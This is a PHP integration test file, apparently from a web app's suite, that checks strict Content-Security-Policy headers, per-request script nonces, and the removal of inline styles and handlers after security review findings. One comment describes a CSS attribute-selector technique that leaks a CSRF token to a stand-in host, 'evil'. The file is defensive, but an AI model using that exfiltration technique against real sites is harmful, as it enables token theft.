<?php

declare(strict_types=1);

namespace App\Tests\Integration\App;

use App\Tests\Integration\Support\AppTestCase;

/**
 * Regression coverage for SEC_REVIEW F24: every rendered response must
 * carry a strict Content-Security-Policy with a per-request nonce, and
 * the only inline `<script>` block in the layout (the FOUC handler)
 * must be stamped with that same nonce so it can execute under the
 * stricter policy. `'unsafe-inline'` and `'unsafe-eval'` must not appear
 * anywhere in `script-src`.
 */
final class CspHeaderTest extends AppTestCase
{
    protected function setUp(): void
    {
        $this->bootApp();
    }

    public function testLoginPageCarriesStrictCsp(): void
    {
        $response = $this->request('GET', '/login');

        self::assertSame(200, $response->getStatusCode());
        $csp = $response->getHeaderLine('Content-Security-Policy');

        self::assertNotSame('', $csp, 'CSP header must be set');
        self::assertStringNotContainsString("'unsafe-inline'", self::scriptSrc($csp));
        self::assertStringNotContainsString("'unsafe-eval'", self::scriptSrc($csp));
        self::assertMatchesRegularExpression(
            "/script-src 'self' 'nonce-[A-Za-z0-9_-]+'/",
            $csp,
        );
    }

    public function testInlineScriptCarriesMatchingNonce(): void
    {
        $response = $this->request('GET', '/login');
        $body = (string) $response->getBody();

        self::assertMatchesRegularExpression(
            '/<script nonce="([A-Za-z0-9_-]+)">/',
            $body,
            'layout FOUC <script> must be nonced',
        );
        preg_match('/<script nonce="([A-Za-z0-9_-]+)">/', $body, $m);
        $bodyNonce = $m[1];
        self::assertStringContainsString(
            "'nonce-{$bodyNonce}'",
            $response->getHeaderLine('Content-Security-Policy'),
            'response CSP must contain the same nonce as the inline <script>',
        );
    }

    public function testNoncesDifferAcrossRequests(): void
    {
        $first = $this->request('GET', '/login');
        $second = $this->request('GET', '/login');

        $firstNonce = self::extractScriptNonce($first->getHeaderLine('Content-Security-Policy'));
        $secondNonce = self::extractScriptNonce($second->getHeaderLine('Content-Security-Policy'));

        self::assertNotSame('', $firstNonce);
        self::assertNotSame('', $secondNonce);
        self::assertNotSame($firstNonce, $secondNonce, 'nonce must rotate per response');
    }

    public function testHealthzAlsoCarriesCsp(): void
    {
        $response = $this->request('GET', '/healthz');

        self::assertSame(200, $response->getStatusCode());
        self::assertStringContainsString(
            "frame-ancestors 'none'",
            $response->getHeaderLine('Content-Security-Policy'),
        );
    }

    public function testStyleSrcDropsUnsafeInline(): void
    {
        // SEC_REVIEW F62: `style-src 'unsafe-inline'` allowed CSS
        // attribute selectors that exfiltrate the CSRF token (or
        // any other secret in the DOM) char-by-char via
        // `background-image: url(//evil/?p=…)`. The policy now
        // enforces `style-src 'self'` only — inline `style="…"`
        // attributes have been migrated to data-attribute-driven
        // stylesheet rules.
        $response = $this->request('GET', '/login');
        $csp = $response->getHeaderLine('Content-Security-Policy');

        self::assertStringNotContainsString("'unsafe-inline'", self::styleSrc($csp));
        self::assertSame("style-src 'self'", self::styleSrc($csp));
    }

    public function testNoInlineStyleAttributesInLoginTemplate(): void
    {
        // F62 regression: catch any future template change that
        // re-introduces `style="…"` (which would silently break
        // because the policy refuses to apply the inline style).
        $response = $this->request('GET', '/login');
        $body = (string) $response->getBody();

        self::assertDoesNotMatchRegularExpression(
            '/\sstyle=\s*"/i',
            $body,
            'login layout must not carry any inline `style="…"` attributes (F62)',
        );
    }

    private static function styleSrc(string $csp): string
    {
        foreach (explode(';', $csp) as $part) {
            $part = trim($part);
            if (str_starts_with($part, 'style-src')) {
                return $part;
            }
        }

        return '';
    }

    public function testNoBareInlineEventHandlersLeftInLoginTemplate(): void
    {
        $response = $this->request('GET', '/login');
        $body = (string) $response->getBody();

        // CSP build of Alpine cannot evaluate arbitrary inline expressions;
        // the migration replaced object-literal x-data with named components.
        self::assertStringNotContainsString('x-data="{', $body, 'no inline x-data object literals');
        // Inline DOM event handlers were never used, but assert it.
        self::assertDoesNotMatchRegularExpression(
            '/\son(click|submit|change|input)\s*=\s*"/i',
            $body,
            'no inline DOM event handlers',
        );
    }

    private static function scriptSrc(string $csp): string
    {
        foreach (explode(';', $csp) as $part) {
            $part = trim($part);
            if (str_starts_with($part, 'script-src')) {
                return $part;
            }
        }

        return '';
    }

    private static function extractScriptNonce(string $csp): string
    {
        if (preg_match("/'nonce-([A-Za-z0-9_-]+)'/", self::scriptSrc($csp), $m)) {
            return $m[1];
        }

        return '';
    }
}
